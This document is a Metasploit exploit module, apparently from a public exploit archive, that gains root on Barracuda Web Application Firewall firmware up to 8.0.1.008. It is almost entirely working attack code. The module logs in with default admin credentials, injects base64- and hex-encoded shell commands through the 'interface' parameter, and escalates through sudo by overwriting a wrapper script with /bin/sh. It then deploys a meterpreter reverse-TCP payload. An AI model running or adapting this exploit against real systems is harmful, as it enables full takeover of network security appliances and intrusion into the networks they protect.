Barracuda Web Application Firewall 8.0.1.008 Post Auth Root

`# Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit  
# Date: 07/28/16  
# Exploit Author: xort [email protected]  
# Vendor Homepage: https://www.barracuda.com/  
# Software Link: https://www.barracuda.com/products/webapplicationfirewall  
# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)  
# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)  
# CVE : None.  
  
# vuln: interface_stats  
  
require 'msf/core'  
require 'date'  
require "base64"  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in the Barracuda Web  
Application Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a  
vulnerability in the web administration interface. By sending a specially crafted  
request it's possible to inject system commands while escalating to root do to relaxed   
sudo configuration on the local machine.  
},   
'Author' => [ 'xort' ], # disclosure and exploit module  
'References' => [ [ 'none', 'none'] ],  
'Platform' => [ 'linux'],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]],  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),   
OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),   
OptString.new('CMD', [ false, 'Command to execute', "" ]),   
Opt::RPORT(8000),  
], self.class)  
end  
  
def do_login(username, password_clear, et)  
vprint_status( "Logging into machine with credentials...\n" )  
  
# vars  
timeout = 1550;  
enc_key = Rex::Text.rand_text_hex(32)  
  
# send request  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/cgi-mod/index.cgi",  
'headers' =>  
{  
'Accept' => "application/json, text/javascript, */*; q=0.01",  
'Content-Type' => "application/x-www-form-urlencoded",  
'X-Requested-With' => "XMLHttpRequest"  
},  
'vars_post' =>  
{   
  
'enc_key' => enc_key,  
'et' => et,  
'user' => "admin", # username,  
'password' => "admin", # password_clear,  
'enctype' => "none",  
'password_entry' => "",  
'login_page' => "1",  
'login_state' => "out",  
'real_user' => "",  
'locale' => "en_US",  
'form' => "f",  
'Submit' => "Sign in",  
}  
}, timeout)  
  
# get rid of first yank  
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result  
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]  
  
return password, et  
end  
  
def run_command(username, password, et, cmd)  
  
# file to replace  
sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"  
  
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"   
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "   
  
vprint_status( "Running Command...\n" )  
  
# random filename to dump too + 'tmp' HAS to be here.  
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))  
  
# decoder stubs - tells 'base64' command to decode and dump data to temp file  
b64decode1 = "echo \""  
b64decode2 = "\" | base64 -d >" + b64dumpfile  
  
# base64 - encode with base64 so we can send special chars and multiple lines  
cmd = Base64.strict_encode64(cmd)   
  
# Create injection string.   
# a) package the base64 decoder with encoded bytes  
# b) attach a chmod +x request to make the script created (b64dumpfile) executable  
# c) execute decoded base64 dumpfile  
  
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile  
  
# injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile   
  
vprint_status( "sending..." )  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "/cgi-mod/index.cgi",  
'headers' =>   
{  
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",  
},  
'vars_get' => {  
'ajax_action' => 'interface_stats',  
'user' => username,  
'password' => password,   
'et' => et,  
'locale' => 'en_US',  
'realm' => '',  
'auth_type' => 'Local',  
'primary_tab' => 'BASIC',  
'secondary_type' => 'status',  
  
'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln  
}  
})   
  
end  
  
def exploit  
  
# params  
timeout = 1550;  
  
real_user = "";  
et = Time.now.to_i   
user = datastore['USERNAME']  
password = datastore['PASSWORD']  
  
# do login and get password hash  
password_hash, et = do_login(user, password, et)  
vprint_status("got password hash: #{password_hash}\n")  
sleep(2)  
  
#if no 'CMD' string - add code for root shell  
if not datastore['CMD'].nil? and not datastore['CMD'].empty?  
  
cmd = datastore['CMD']   
  
# Encode cmd payload   
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')   
  
# kill stale calls to bdump from previous exploit calls for re-use  
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))  
else   
# Encode payload to ELF file for deployment   
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')   
  
# kill stale calls to bdump from previous exploit calls for re-use  
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))  
  
handler  
end  
end  
end  
`